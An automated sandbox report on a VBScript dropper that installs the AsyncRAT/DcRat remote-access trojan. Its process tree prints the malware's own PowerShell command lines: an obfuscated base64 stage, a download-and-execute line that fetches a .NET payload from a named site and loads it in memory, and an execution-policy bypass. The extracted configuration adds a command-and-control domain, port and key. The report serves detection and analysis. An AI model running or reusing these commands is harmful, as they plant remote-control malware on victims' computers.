Edit tour

Windows Analysis Report
sostener.vbs

Overview

General Information

Sample name:	sostener.vbs
Analysis ID:	1519308
MD5:	7038e85f1e6e6405981b64ff58358482
SHA1:	9df67362f01d7a33a02a708fa6da1c3a1214fc51
SHA256:	a1a8e23d2f66e05da76366469a1a344973fb1d775a943656de0f90bf0306e447
Tags:	vbsuser-lontze7
Infos:

Detection

AsyncRAT, DcRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

VBScript performs obfuscated calls to suspicious functions

Yara detected AsyncRAT

Yara detected DcRat

Yara detected Powershell download and execute

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Creates autostart registry keys with suspicious names

Creates autostart registry keys with suspicious values (likely registry only malware)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses dynamic DNS services

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript called in batch mode (surpress errors)

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Powershell In Registry Run Keys

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Too many similar processes found

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4268 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 1120 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL; MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6644 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6192 cmdline: powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 5776 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6572 cmdline: powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 5824 cmdline: powershell.exe Copy-Item 'C:\Users\user\Desktop\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\' MD5: 04029E121A0CFA5991749937DD22A1D9)

RegSvcs.exe (PID: 3292 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

powershell.exe (PID: 7280 cmdline: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' " MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7476 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7568 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7700 cmdline: "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7788 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL; MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7896 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7988 cmdline: powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4476 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7996 cmdline: powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 8008 cmdline: powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\' MD5: 04029E121A0CFA5991749937DD22A1D9)

RegSvcs.exe (PID: 3872 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

powershell.exe (PID: 8124 cmdline: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' " MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7524 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7412 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7480 cmdline: "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7624 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL; MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7728 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 5376 cmdline: powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7712 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 2232 cmdline: powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6448 cmdline: powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\' MD5: 04029E121A0CFA5991749937DD22A1D9)

RegSvcs.exe (PID: 7536 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

RegSvcs.exe (PID: 7484 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: AsyncRAT

{"Server": "dcmxz.duckdns.org", "Ports": "35650", "Version": "1.0.7", "Autorun": "false", "Install_Folder": "%AppData%", "AES_key": "BMaxyTI6PFcknz46fW6SoamkbMkpDOBY", "Mutex": "DcRatMutex_qwqdanchun", "Certificate": "MIICMDCCAZmgAwIBAgIVAIhNlmebb6nSe6ECHjMpYKJ1i7gvMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDERjUmF0IFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTIxMDEyODA1MzU1N1oXDTMxMTEwNzA1MzU1N1owEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBALz18kcXxyYRNtzNciIOitqVEEKYOOJZOGjSaWOLKz3M/Df8QpKzt86Y+GK3639BYF/OzJ6i8PyJcI4jCe+L56ytnlJDfAYTzg7df+pvpE6bSgYYgBSEMcKBPrpx6bV5z/V8FOCVqlt9xfM47rHzIs6kOkc0Xu0TqFGxVfi3Koj/AgMBAAGjMjAwMB0GA1UdDgQWBBQOZShjgdZ92lUVGT5AalbF4rcBrDAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4GBABuRWEmIgb/BjPElBrcq4LuUTHLBWgnJN3yXXtFA+Nl/+mYto5FZMUmzz3mbjKRHuzo79jdei4h1vSO9+2gTFWw1mY8HoeEoyL0YExBQMCoUPjpLJEuAydiWBMXXBmv0zPzE3W7zhG6DRe8pXQkZ2yu8c9G4KxXS1ITmSrlJqBQ6", "ServerSignature": "HHE5jOeVJOhAghvpojlJdIrDbFOsUbqwsp+EMG8VXpAUEeevWIZdvf0JXY09IqtRyF0X8OflaZjfz5GSeKAlhnZylZ4ewd/rQNkxEX2jmNQvqQm2VUSZ4DaZ1LNcyuuDLoLokVBSqAQ26qID63vTRTGCG+S4ivbzXv2B1m+Pq9M=", "BDOS": "null", "External_config_on_Pastebin": "false"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x31032:$b2: DcRat By qwqdanchun1

Memory Dumps

Source	Rule	Description	Author	Strings
0000001A.00000002.2343267450.0000000001509000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0xc784:$b2: DcRat By qwqdanchun1
00000004.00000002.2534304751.00000155DC4F0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000004.00000002.2534304751.00000155DC4F0000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x1726:$h2: //:sptth 0xfc1:$s1: DownloadString 0xe27:$s2: StrReverse 0xfb0:$s3: FromBase64String 0x1237:$s4: WebClient
00000013.00000002.2417662894.00000240C11A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000013.00000002.2417662894.00000240C11A1000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x1a797:$a1: havecamera 0x2685f:$a1: havecamera 0x1dc90:$a2: timeout 3 > NUL 0x29d58:$a2: timeout 3 > NUL 0x1dcb0:$a3: START "" " 0x29d78:$a3: START "" " 0x1db3b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x29c03:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x1dbf0:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x29cb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000004.00000002.2090885360.00000155C41C4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000004.00000002.2090885360.00000155C41C4000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0xa277:$a1: havecamera 0x1633f:$a1: havecamera 0xd770:$a2: timeout 3 > NUL 0x19838:$a2: timeout 3 > NUL 0xd790:$a3: START "" " 0x19858:$a3: START "" " 0xd61b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x196e3:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0xd6d0:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x19798:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000027.00000002.2729558667.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x38adc:$b2: DcRat By qwqdanchun1
00000027.00000002.2794514159.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x308:$b2: DcRat By qwqdanchun1
0000001A.00000002.2331186217.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000001A.00000002.2331186217.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x63f7:$a1: havecamera 0x98f0:$a2: timeout 3 > NUL 0x9910:$a3: START "" " 0x979b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x9850:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0000001A.00000002.2386589663.0000000003131000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x3aa8:$b1: DcRatByqwqdanchun 0x19308:$b2: DcRat By qwqdanchun1
00000027.00000002.2794514159.0000000002C53000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x1aa8:$b1: DcRatByqwqdanchun
00000021.00000002.2793866781.000001C03CB30000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000021.00000002.2793866781.000001C03CB30000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x1a18f:$a1: havecamera 0x27157:$a1: havecamera 0x1d688:$a2: timeout 3 > NUL 0x2a650:$a2: timeout 3 > NUL 0x1d6a8:$a3: START "" " 0x2a670:$a3: START "" " 0x1d533:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x2a4fb:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x1d5e8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x2a5b0:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
Process Memory Space: powershell.exe PID: 1120	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 1120	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x9b9:$b2: ::FromBase64String( 0xada:$b2: ::FromBase64String( 0x19952:$b2: ::FromBase64String( 0x19baf:$b2: ::FromBase64String( 0x1b2bc:$b2: ::FromBase64String( 0x1b38f:$b2: ::FromBase64String( 0x1b471:$b2: ::FromBase64String( 0x281ee:$b2: ::FromBase64String( 0x42c0e:$b2: ::FromBase64String( 0x42c78:$b2: ::FromBase64String( 0x42f2e:$b2: ::FromBase64String( 0x4b200:$b2: ::FromBase64String( 0x4b321:$b2: ::FromBase64String( 0x4cec2:$b2: ::FromBase64String( 0x4cf2c:$b2: ::FromBase64String( 0x7e708:$b2: ::FromBase64String( 0x7f7e7:$b2: ::FromBase64String( 0xd043b:$b2: ::FromBase64String( 0xd04a5:$b2: ::FromBase64String( 0xef810:$b2: ::FromBase64String( 0xefdaf:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 6644	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: powershell.exe PID: 6644	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 6644	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x15d722:$a1: havecamera 0x161fe6:$b1: DcRatByqwqdanchun
